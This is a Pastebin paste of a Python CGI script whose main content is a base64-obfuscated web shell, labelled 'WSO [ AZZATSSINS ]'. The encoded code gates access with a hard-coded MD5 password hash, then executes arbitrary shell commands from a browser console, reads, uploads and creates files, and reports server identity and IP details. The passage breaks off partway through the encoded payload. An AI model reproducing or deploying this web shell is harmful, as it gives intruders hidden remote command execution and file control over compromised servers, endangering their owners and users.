Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import base64, sys, os, cgi, commands, time, Cookie, socket
- azzatssins = """ZnJvbSBzdGF0IGltcG9ydCAqCmZyb20gZGF0ZXRpbWUgaW1wb3J0IGRhdGV0aW1lCnN5cy5zdGRl
- cnIgPSBvcGVuKG9zLmRldm51bGwsICd3JykKCnBhc3N3b3JkID0gImVkNDU0NGQzNDU1NjI2OTdh
- NDllNWNmYzZhOGFiNTQ1Igp2ZXJzaW9uID0gIlsgQVpaQVRTU0lOUyBdIgoKCmRlZiBnZXRhbGwo
- dGhlZm9ybSwgbm9saXN0ID0gRmFsc2UpOgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4g
- dGhlZm9ybS5rZXlzKCk6CiAgICAgICAgaWYgdHlwZSh0aGVmb3JtW2ZpZWxkXSkgPT0gIHR5cGUo
- W10pOgogICAgICAgICAgICBpZiBub3Qgbm9saXN0OgogICAgICAgICAgICAgICAgZGF0YVtmaWVs
- ZF0gPSB0aGVmb3JtLmdldGxpc3QoZmllbGQpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAg
- ICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZvcm0uZ2V0Zmlyc3QoZmllbGQpCiAgICAgICAgZWxpZiB0
- aGVmb3JtW2ZpZWxkXS5maWxlbmFtZToKICAgICAgICAgICAgX0ZJTEVTW2ZpZWxkXSA9IHRoZWZv
- cm1bZmllbGRdCiAgICAgICAgZWxzZToKICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB0aGVmb3Jt
- W2ZpZWxkXS52YWx1ZQogICAgcmV0dXJuIGRhdGEKCmRlZiBlc2NhcGUoc3RyKToKICAgIHJldHVy
- biBzdHIucmVwbGFjZSgiJyIsICJcXCciKS5yZXBsYWNlKCJcciIsICJcXHIiKS5yZXBsYWNlKCJc
- biIsICJcXG4iKQoKX0ZJTEVTID0ge30KX1JFUVVFU1QgPSBnZXRhbGwoIGNnaS5GaWVsZFN0b3Jh
- Z2UoKSApCmlmIF9SRVFVRVNULmhhc19rZXkoJ2NoYXJzZXQnKSA9PSBGYWxzZToKICAgIF9SRVFV
- RVNUWydjaGFyc2V0J10gPSAiV2luZG93cy0xMjUxIgppZiBfUkVRVUVTVC5oYXNfa2V5KCdhJykg
- PT0gRmFsc2U6CiAgICBfUkVRVUVTVFsnYSddID0gImZpbGVzIgppZiBfUkVRVUVTVC5oYXNfa2V5
- KCdjJykgPT0gRmFsc2U6CiAgICBfUkVRVUVTVFsnYyddID0gb3MuZ2V0Y3dkKCkKaWYgX1JFUVVF
- U1QuaGFzX2tleSgncDEnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMSddID0gIiIKaWYgX1JF
- UVVFU1QuaGFzX2tleSgncDInKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMiddID0gIiIKaWYg
- X1JFUVVFU1QuaGFzX2tleSgncDMnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMyddID0gIiIK
- Cl9DT09LSUUgPSBDb29raWUuU2ltcGxlQ29va2llKCkKdHJ5OgogICAgX0NPT0tJRS5sb2FkKG9z
- LmVudmlyb25bIkhUVFBfQ09PS0lFIl0pCmV4Y2VwdDoKICAgIHBhc3MKCmRlZiBwcmludExvZ2lu
- KCk6CiAgICBfQ09PS0lFWydwc3N3ZCddID0gIiI7CiAgICBwcmludCBfQ09PS0lFOwogICAgcHJp
- bnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG4iOwogICAgcHJpbnQgIiIiPGNlbnRlcj48Yj5B
- WlpBVFNTSU5TPC9iPjxicj48Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1wYXNzd29yZCBu
- YW1lPXBzc3dkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nJmd0OyZndDsnPjwvZm9ybT48L2Nl
- bnRlcj4iIiIKICAgIGV4aXQoKQoKaWYgX0NPT0tJRS5oYXNfa2V5KCdwc3N3ZCcpIGFuZCBsZW4o
- X0NPT0tJRVsncHNzd2QnXS52YWx1ZSkgPiAwIDoKICAgIGlmIF9DT09LSUVbJ3Bzc3dkJ10udmFs
- dWUgIT0gcGFzc3dvcmQ6CiAgICAgICAgcHJpbnRMb2dpbigpCmVsaWYgX1JFUVVFU1QuaGFzX2tl
- eSgncHNzd2QnKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGltcG9ydCBoYXNobGliCiAgICAg
- ICAgICAgIHBzc3dkID0gaGFzaGxpYi5tZDUoKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAg
- aW1wb3J0IG1kNQogICAgICAgICAgICBwc3N3ZCA9IG1kNS5uZXcoKQogICAgICAgIHBzc3dkLnVw
- ZGF0ZShfUkVRVUVTVFsncHNzd2QnXSkKICAgICAgICBpZiBwc3N3ZC5oZXhkaWdlc3QoKSAhPSBw
- YXNzd29yZDoKICAgICAgICAgICAgcHJpbnRMb2dpbigpCiAgICAgICAgZWxzZToKICAgICAgICAg
- ICAgX0NPT0tJRVsncHNzd2QnXSA9IHBzc3dkLmhleGRpZ2VzdCgpCmVsc2U6CiAgICBwcmludExv
- Z2luKCkKCnByaW50IF9DT09LSUUKaG9tZV9kaXIgPSBvcy5nZXRjd2QoKQoKdHJ5OgogICAgb3Mu
- Y2hkaXIoX1JFUVVFU1RbJ2MnXSkKZXhjZXB0IG9zLmVycm9yLCBtc2c6CiAgICBwYXNzCgpjd2Qg
- PSBvcy5nZXRjd2QoKTsKaWYgY3dkWy0xXSAhPSAnLyc6CiAgICBjd2QgKz0gJy8nCgpkZWYgcHJp
- bnRIZWFkZXIoKToKICAgIHByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuIjsKICAgIHBy
- aW50ICI8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9
- J3RleHQvaHRtbDsgY2hhcnNldD0iICsgX1JFUVVFU1RbJ2NoYXJzZXQnXSArICInPjx0aXRsZT4i
- ICsgb3MuZW52aXJvblsiU0VSVkVSX05BTUUiXSArICIgLSBXU08gIiArIHZlcnNpb24gKyAiIiI8
- L3RpdGxlPgogICAgPHN0eWxlPgogICAgICAgIGJvZHl7YmFja2dyb3VuZC1jb2xvcjojNDQ0O2Nv
- bG9yOiNlMWUxZTE7fQogICAgICAgIGJvZHksdGQsdGh7IGZvbnQ6IDlwdCBMdWNpZGEsVmVyZGFu
- YTttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7Y29sb3I6I2UxZTFlMTsgfQogICAgICAgIHRh
- YmxlLmluZm97IGNvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMjIyOyB9CiAgICAgICAgc3Bh
- bixoMSxheyBjb2xvcjojZGY1ICFpbXBvcnRhbnQ7IH0KICAgICAgICBzcGFueyBmb250LXdlaWdo
- dDogYm9sZGVyOyB9CiAgICAgICAgaDF7IGJvcmRlci1sZWZ0OjVweCBzb2xpZCAjZGY1O3BhZGRp
- bmc6IDJweCA1cHg7Zm9udDogMTRwdCBWZXJkYW5hO2JhY2tncm91bmQtY29sb3I6IzIyMjttYXJn
- aW46MHB4OyB9CiAgICAgICAgZGl2LmNvbnRlbnR7IHBhZGRpbmc6IDVweDttYXJnaW4tbGVmdDo1
- cHg7YmFja2dyb3VuZC1jb2xvcjojMzMzOyB9CiAgICAgICAgYXsgdGV4dC1kZWNvcmF0aW9uOm5v
- bmU7IH0KICAgICAgICBhOmhvdmVyeyB0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lOyB9CiAgICAg
- ICAgLm1sMXsgYm9yZGVyOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmc6NXB4O21hcmdpbjowO292ZXJm
- bG93OiBhdXRvOyB9CiAgICAgICAgLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjI1MHB4OyB9
- CiAgICAgICAgaW5wdXQsdGV4dGFyZWEsc2VsZWN0eyBtYXJnaW46MDtjb2xvcjojZmZmO2JhY2tn
- cm91bmQtY29sb3I6IzU1NTtib3JkZXI6MXB4IHNvbGlkICNkZjU7IGZvbnQ6IDlwdCBNb25vc3Bh
- Y2UsIkNvdXJpZXIgTmV3IjsgfQogICAgICAgIGZvcm17IG1hcmdpbjowcHg7IH0KICAgICAgICAj
- dG9vbHNUYmx7IHRleHQtYWxpZ246Y2VudGVyOyB9CiAgICAgICAgLnRvb2xzSW5weyB3aWR0aDog
- MzAwcHggfQogICAgICAgIC5tYWluIHRoe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9y
- OiM1ZTVlNWU7fQogICAgICAgIC5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzVlNWU1
- ZX0KICAgICAgICAubDF7YmFja2dyb3VuZC1jb2xvcjojNDQ0fQogICAgICAgIHByZSwubXtmb250
- LWZhbWlseTpDb3VyaWVyLE1vbm9zcGFjZTt9CiAgICA8L3N0eWxlPgogICAgPHNjcmlwdD4KICAg
- ICAgICB2YXIgY18gPSAnIiIiICsgZXNjYXBlKF9SRVFVRVNUWydjJ10pICsgIiIiJzsKICAgICAg
- ICB2YXIgYV8gPSAnIiIiICsgZXNjYXBlKF9SRVFVRVNUWydhJ10pICsgIiIiJzsKICAgICAgICB2
- YXIgcDFfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsncDEnXSkgKyAiIiInOwogICAgICAgIHZh
- ciBwMl8gPSAnIiIiICsgZXNjYXBlKF9SRVFVRVNUWydwMiddKSArICIiIic7CiAgICAgICAgdmFy
- IHAzXyA9ICciIiIgKyBlc2NhcGUoX1JFUVVFU1RbJ3AzJ10pICsgIiIiJzsKICAgICAgICB2YXIg
- Y2hhcnNldF8gPSAnIiIiICsgZXNjYXBlKCBfUkVRVUVTVFsnY2hhcnNldCddICkgKyAiIiInOwog
- ICAgICAgIGZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgaWYo
- YSAhPSBudWxsKWRvY3VtZW50Lm1mLmEudmFsdWU9YTtlbHNlIGRvY3VtZW50Lm1mLmEudmFsdWU9
- YV87CiAgICAgICAgICAgIGlmKGMgIT0gbnVsbClkb2N1bWVudC5tZi5jLnZhbHVlPWM7ZWxzZSBk
- b2N1bWVudC5tZi5jLnZhbHVlPWNfOwogICAgICAgICAgICBpZihwMSAhPSBudWxsKWRvY3VtZW50
- Lm1mLnAxLnZhbHVlPXAxO2Vsc2UgZG9jdW1lbnQubWYucDEudmFsdWU9cDFfOwogICAgICAgICAg
- ICBpZihwMiAhPSBudWxsKWRvY3VtZW50Lm1mLnAyLnZhbHVlPXAyO2Vsc2UgZG9jdW1lbnQubWYu
- cDIudmFsdWU9cDJfOwogICAgICAgICAgICBpZihwMyAhPSBudWxsKWRvY3VtZW50Lm1mLnAzLnZh
- bHVlPXAzO2Vsc2UgZG9jdW1lbnQubWYucDMudmFsdWU9cDNfOwogICAgICAgICAgICBpZihjaGFy
- c2V0ICE9IG51bGwpZG9jdW1lbnQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZG9jdW1l
- bnQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0XzsKICAgICAgICAgICAgZG9jdW1lbnQubWYuc3Vi
- bWl0KCk7CiAgICAgICAgfQogICAgPC9zY3JpcHQ+CiAgICA8aGVhZD48Ym9keT48ZGl2IHN0eWxl
- PSJwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO2JhY2tncm91bmQtY29sb3I6IzQ0NDt0b3A6
- MDtsZWZ0OjA7Ij4KICAgIDxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6
- bm9uZTsnPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YT4KICAgIDxpbnB1dCB0eXBlPWhp
- ZGRlbiBuYW1lPWM+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMT4KICAgIDxpbnB1dCB0
- eXBlPWhpZGRlbiBuYW1lPXAyPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDM+CiAgICA8
- aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0PgogICAgPC9mb3JtPiIiIgogICAgcHJpbnQg
- Jzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAl
- Pjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+VGltZTo8YnI+Q3dkOjwv
- c3Bhbj48L3RkPicKICAgIHByaW50ICc8dGQ+PG5vYnI+JwogICAgZm9yIHggaW4gb3MudW5hbWUo
- KToKICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKHgrJyAnKQogICAgdCA9IHRpbWUubG9jYWx0aW1l
- KCkKICAgIHByaW50ICc8L25vYnI+PGJyPiVzPGJyPiVkLSUuMmQtJS4yZCAlLjJkOiUuMmQ6JS4y
- ZCA8c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPiAlcyA8c3Bhbj5DbGllbnQgSVA6PC9zcGFuPiAlczxi
- cj4nICUoIGNvbW1hbmRzLmdldG91dHB1dCggJ2lkJyApLCB0WzBdLCB0WzFdLCB0WzJdLCB0WzNd
- LCB0WzRdLCB0WzVdLCBvcy5lbnZpcm9uWydTRVJWRVJfQUREUiddLCBvcy5lbnZpcm9uWydSRU1P
- VEVfQUREUiddKQogICAgcGF0aCA9ICcnCiAgICBwYXRocyA9IGN3ZC5zcGxpdCgnLycpCiAgICBw
- YXRocy5wb3AoKQogICAgZm9yIHggaW4gcGF0aHM6CiAgICAgICAgcGF0aCArPSB4ICsgJy8nCiAg
- ICAgICAgc3lzLnN0ZG91dC53cml0ZSgiIiI8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdmaWxlcycs
- JyIiIitlc2NhcGUocGF0aCkrIiIiJywgJycsICcnLCAnJykiPiIiIit4KyIiIi88L2E+IiIiKQog
- ICAgcHJpbnQgIiAiICsgcGVybXNDb2xvcihjd2QpLCIiIjxhIGhyZWY9JyMnIG9uY2xpY2s9Imco
- J2ZpbGVzJywnIiIiKyBlc2NhcGUoIGhvbWVfZGlyICkgKyIiIicsICcnLCAnJywgJycpIj5bIGhv
- bWUgXTwvYT4iIiIKICAgIGNoYXJzZXRzID0gWydVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09J
- OC1SJywgJ0tPSTgtVScsICdjcDg2NiddCiAgICBwcmludCAnPHRkIHdpZHRoPTEgYWxpZ249cmln
- aHQ+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1
- ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nCiAgICBmb3IgY2hhcnNldCBpbiBj
- aGFyc2V0czoKICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKCc8b3B0aW9uIHZhbHVlPSIlcyIgJyAl
- IGNoYXJzZXQpCiAgICAgICAgaWYgX1JFUVVFU1RbJ2NoYXJzZXQnXSA9PSBjaGFyc2V0OgogICAg
- ICAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgnc2VsZWN0ZWQnKQogICAgICAgIHN5cy5zdGRvdXQu
- d3JpdGUoJz4lczwvb3B0aW9uPicgJSBjaGFyc2V0KQogICAgcHJpbnQgJzwvb3B0Z3JvdXA+PC9z
- ZWxlY3Q+PGJyPjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHgg
- c29saWQgIzMzMzt0ZXh0LWFsaWduOiBjZW50ZXI7IiBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5n
- PTAgd2lkdGg9MTAwJT48dHI+JwogICAgZm9yIHggaW4gWydGaWxlcycsICdDb25zb2xlJywgJ1B5
- dGhvbicsICdOZXR3b3JrJ106CiAgICAgICAgcHJpbnQgIjx0ZCB3aWR0aD0nMTAwcHgnPlsgPGEg
- aHJlZj0nIycgb25jbGljaz0nZyhcIiIreC5sb3dlcigpKyciLCBudWxsLCAiIiwgIiIsICIiKVwn
- PicreCsnPC9hPiBdPC90ZD4nCiAgICBwcmludCAnPHRkPjwvdGQ+PC90cj48L3RhYmxlPjxkaXYg
- c3R5bGU9Im1hcmdpbjo1Ij4nCgpkZWYgcHJpbnRGb290ZXIoKToKICAgIGlmIG9zLmFjY2VzcyAo
- Y3dkLCBvcy5XX09LKToKICAgICAgICB3cml0YWJsZSA9ICI8Zm9udCBjb2xvcj1ncmVlbj5bIFdy
- aXRlYWJsZSBdPC9mb250PiIKICAgIGVsc2U6CiAgICAgICAgd3JpdGFibGUgPSAiPGZvbnQgY29s
- b3I9cmVkPlsgTm90IHdyaXRhYmxlIF08L2ZvbnQ+IgogICAgcHJpbnQgIiIiPC9kaXY+Cjx0YWJs
- ZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0
- aD0xMDAlICBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMztib3JkZXItYm90dG9tOjJw
- eCBzb2xpZCAjMzMzOyI+Cgk8dHI+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSJnKG51bGwsdGhpcy5j
- LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0
- IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nIiIiICsgY3dkICsgIiIi
- Jz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiZndDsmZ3Q7Ij48L2Zvcm0+PC90ZD4KCQk8dGQ+
- PGZvcm0gb25zdWJtaXQ9ImcoJ2ZpbGVUb29scycsbnVsbCx0aGlzLmYudmFsdWUpO3JldHVybiBm
- YWxzZTsiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAi
- IHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9m
- b3JtPjwvdGQ+Cgk8L3RyPgoJPHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnZmlsZXMnLG51
- bGwsJ21rZGlyJyx0aGlzLmQudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZGlyOjwv
- c3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9ZD48aW5wdXQg
- dHlwZT1zdWJtaXQgdmFsdWU9IiZndDsmZ3Q7Ij48L2Zvcm0+IiIiK3dyaXRhYmxlKyIiIjwvdGQ+
- CgkJPHRkPjxmb3JtIG9uc3VibWl0PSJnKCdmaWxlVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlLCdz
- YXZlJywnJyk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+TWFrZSBmaWxlOjwvc3Bhbj48YnI+PGlucHV0
- IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFs
- dWU9IiZndDsmZ3Q7Ij48L2Zvcm0+IiIiK3dyaXRhYmxlKyIiIjwvdGQ+Cgk8L3RyPgoJPHRyPgoJ
- CTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnY29uc29sZScsbnVsbCx0aGlzLmMudmFsdWUpO3JldHVy
- biBmYWxzZTsiPjxzcGFuPkV4ZWN1dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5w
- IiB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSIiPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iJmd0
- OyZndDsiPjwvZm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211
- bHRpcGFydC9mb3JtLWRhdGEnPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2Zp
- bGVzJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIiIrY3dkKyIiIic+CgkJ
- PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3VwbG9hZEZpbGUnPgoJCTxpbnB1dCB0
- eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIiIitfUkVRVUVTVFsnY2hhcnNldCddKyIi
- Iic+CgkJPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5w
- IiB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iJmd0OyZndDsiPjwv
- Zm9ybT4iIiIrd3JpdGFibGUrIiIiPC90ZD4KCTwvdHI+Cgo8L3RhYmxlPgo8L2Rpdj4KPC9ib2R5
- PjwvaHRtbD4iIiIKCmRlZiB2aWV3U2l6ZShzKToKICAgIGlmIHMgPj0gMTA3Mzc0MTgyNDoKCQly
- ZXR1cm4gIiUxLjJmICBHQiIgJSAocyAvIDEwNzM3NDE4MjQuMCk7CiAgICBlbGlmIHMgPj0gMTA0
- ODU3NjoKCQlyZXR1cm4gIiUxLjJmICBNQiIgJSAocyAvIDEwNDg1NzYuMCk7CiAgICBlbGlmIHMg
- Pj0gMTAyNDoKCQlyZXR1cm4gIiUxLjJmICBLQiIgJSAocyAvIDEwMjQuMCk7CiAgICBlbHNlOgoJ
- CXJldHVybiBzdHIocykgKyAnIEInOwoKZGVmIHBlcm1zKHApOgogICAgbW9kZSA9IG9zLmxzdGF0
- KHApW1NUX01PREVdCiAgICBwID0gbW9kZQogICAgaT0iIjsKICAgIGlmIChwICYgMHhDMDAwKSA9
- PSAweEMwMDA6CiAgICAgICAgaSA9ICdzJwogICAgZWxpZiAocCAmIDB4QTAwMCkgPT0gMHhBMDAw
- OgogICAgICAgIGkgPSAnbCcKICAgIGVsaWYgKHAgJiAweDgwMDApID09IDB4ODAwMDoKICAgICAg
- ICBpID0gJy0nCiAgICBlbGlmIChwICYgMHg2MDAwKSA9PSAweDYwMDA6CiAgICAgICAgaSA9ICdi
- JwogICAgZWxpZiAocCAmIDB4NDAwMCkgPT0gMHg0MDAwOgogICAgICAgIGkgPSAnZCcKICAgIGVs
- aWYgKHAgJiAweDIwMDApID09IDB4MjAwMDoKICAgICAgICBpID0gJ2MnCiAgICBlbGlmIChwICYg
- MHgxMDAwKSA9PSAweDEwMDA6CiAgICAgICAgaSA9ICdwJwogICAgZWxzZToKICAgICAgICBpID0g
- J3UnCiAgICBpZiBwICYgMHgwMTAwOiBpICs9ICdyJwogICAgZWxzZTogaSArPSAnLScKICAgIGlm
- IHAgJiAweDAwODA6IGkgKz0gJ3cnCiAgICBlbHNlOiBpICs9ICctJwogICAgaWYgIHAgJiAweDAw
- NDA6CiAgICAgICAgaWYgcCAmIDB4MDgwMDogaSArPSAncycKICAgICAgICBlbHNlOiBpICs9ICd4
- JwogICAgZWxzZToKICAgICAgICBpZiBwICYgMHgwODAwOiBpICs9ICdTJwogICAgICAgIGVsc2U6
- IGkrPSctJwogICAgaWYgcCAmIDB4MDAyMDogaSArPSAncicKICAgIGVsc2U6IGkgKz0gJy0nCiAg
- ICBpZiBwICYgMHgwMDEwOiBpICs9ICd3JwogICAgZWxzZTogaSArPSAnLScKICAgIGlmICBwICYg
- MHgwMDA4OgogICAgICAgIGlmIHAgJiAweDA0MDA6IGkgKz0gJ3MnCiAgICAgICAgZWxzZTogaSAr
- PSAneCcKICAgIGVsc2U6CiAgICAgICAgaWYgcCAmIDB4MDQwMDogaSArPSAnUycKICAgICAgICBl
- bHNlOiBpICs9ICctJwogICAgaWYgcCAmIDB4MDAwNDogaSArPSAncicKICAgIGVsc2U6IGkgKz0g
- Jy0nCiAgICBpZiBwICYgMHgwMDAyOiBpICs9ICd3JwogICAgZWxzZTogaSArPSAnLScKICAgIGlm
- ICBwICYgMHgwMDAxOgogICAgICAgIGlmIHAgJiAweDAyMDA6IGkgKz0gJ3QnCiAgICAgICAgZWxz
- ZTogaSArPSAneCcKICAgIGVsc2U6CiAgICAgICAgaWYgcCAmIDB4MDIwMDogaSArPSAnVCcKICAg
- ICAgICBlbHNlOiBpICs9ICctJwoKICAgIHJldHVybiBpOwoKZGVmIHBlcm1zQ29sb3IocGF0aCk6
- CiAgICBpZiBub3Qgb3MuYWNjZXNzIChwYXRoLCBvcy5SX09LKToKICAgICAgICByZXR1cm4gIjxm
- b250IGNvbG9yPScjRkYwMDAwJz4iK3Blcm1zKHBhdGgpKyI8L2ZvbnQ+IgogICAgZWxpZiBvcy5h
- Y2Nlc3MgKHBhdGgsIG9zLldfT0spOgogICAgICAgIHJldHVybiAiPGZvbnQgY29sb3I9JyMwMEJC
- MDAnPiIrcGVybXMocGF0aCkrIjwvZm9udD4iCiAgICBlbHNlOgogICAgICAgIHJldHVybiAiPGZv
- bnQgY29sb3I9J3doaXRlJz4iK3Blcm1zKHBhdGgpKyI8L2ZvbnQ+IgoKZGVmIGFjdGlvbkNvbnNv
- bGUoKToKICAgIHByaW50SGVhZGVyKCkKICAgIHByaW50ICI8aDE+Q29uc29sZTwvaDE+PGRpdiBj
- bGFzcz1jb250ZW50PiIKICAgIHByaW50ICIiIjxmb3JtIG5hbWU9ImNmIiBvblN1Ym1pdD0iZyhu
- dWxsLCBudWxsLCB0aGlzLmNtZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyIgc3R5bGU9ImJvcmRlcjox
- cHggc29saWQgI2RmNTtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ij48dGV4dGFyZWEgY2xhc3M9Ymln
- YXJlYSBzdHlsZT0iYm9yZGVyOjBweDsiIHJlYWRvbmx5PiIiIgogICAgaWYgbGVuKF9SRVFVRVNU
- WydwMSddKSA+IDA6CiAgICAgICAgcHJpbnQgJyQnLCBjZ2kuZXNjYXBlKF9SRVFVRVNUWydwMSdd
- KQogICAgICAgIHByaW50IGNnaS5lc2NhcGUoY29tbWFuZHMuZ2V0b3V0cHV0KF9SRVFVRVNUWydw
- MSddKSkKCiAgICBwcmludCAnPC90ZXh0YXJlYT48dGFibGUgY2VsbHBhZGRpbmc9MCBjZWxsc3Bh
- Y2luZz0wIHdpZHRoPSIxMDAlIj48dHI+PHRkIHdpZHRoPSIxJSI+JDwvdGQ+PHRkPjxpbnB1dCB0
- eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjowcHg7d2lkdGg6MTAwJTsiPjwvdGQ+PC90
- cj48L3RhYmxlPicKICAgIHByaW50ICI8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kb2N1bWVudC5jZi5j
- bWQuZm9jdXMoKTs8L3NjcmlwdD4iCiAgICBwcmludEZvb3RlcigpCgpkZWYgYWN0aW9uRmlsZXMo
- KToKICAgIHByaW50SGVhZGVyKCkKICAgIGlmIF9SRVFVRVNUWydwMSddID09ICd1cGxvYWRGaWxl
- JzoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGlmIF9GSUxFU1snZiddLmZpbGVuYW1lOgogICAg
- ICAgICAgICAgICAgZm4gPSBvcy5wYXRoLmJhc2VuYW1lKF9GSUxFU1snZiddLmZpbGVuYW1lKQog
- ICAgICAgICAgICAgICAgb3BlbihmbiwgJ3diJykud3JpdGUoX0ZJTEVTWydmJ10uZmlsZS5yZWFk
- KCkpCiAgICAgICAgZXhjZXB0OiBwYXNzCiAgICBpZiBfUkVRVUVTVFsncDEnXSA9PSAnbWtkaXIn
- OgogICAgICAgIHRyeTogb3MubWtkaXIoX1JFUVVFU1RbJ3AyJ10pCiAgICAgICAgZXhjZXB0OiBw
- YXNzCiAgICBwcmludCAiPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PiIK
- ICAgIGl0ZW1fc3RhdCA9IG9zLmxzdGF0KCcuLicpCgogICAgZGVmIGRpckl0ZW1JbmZvKG5hbWUs
- IGl0ZW1fc3RhdCk6CiAgICAgICAgaWYgU19JU0xOSyhpdGVtX3N0YXRbU1RfTU9ERV0pOgogICAg
- ICAgICAgICB0eXBlID0gImxpbmsiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgdHlwZSA9ICJk
- aXIiCiAgICAgICAgdG1wID0gewogICAgICAgICAgICAgICAgJ25hbWUnICA6IG5hbWUsCiAgICAg
- ICAgICAgICAgICAncGF0aCcgIDogb3MucGF0aC5qb2luKGN3ZCwgbmFtZSksCiAgICAgICAgICAg
- ICAgICAnc2l6ZScgIDogdmlld1NpemUoaXRlbV9zdGF0W1NUX1NJWkVdKSwKICAgICAgICAgICAg
- ICAgICdtdGltZScgOiBkYXRldGltZS5mcm9tdGltZXN0YW1wKGl0ZW1fc3RhdFtTVF9NVElNRV0p
- LnN0cmZ0aW1lKCIlWS0lbS0lZCAlSDolTTolUyIpLAogICAgICAgICAgICAgICAgJ3VpZCcgICA6
- IHN0cihpdGVtX3N0YXRbU1RfVUlEXSksCiAgICAgICAgICAgICAgICAnZ2lkJyAgIDogc3RyKGl0
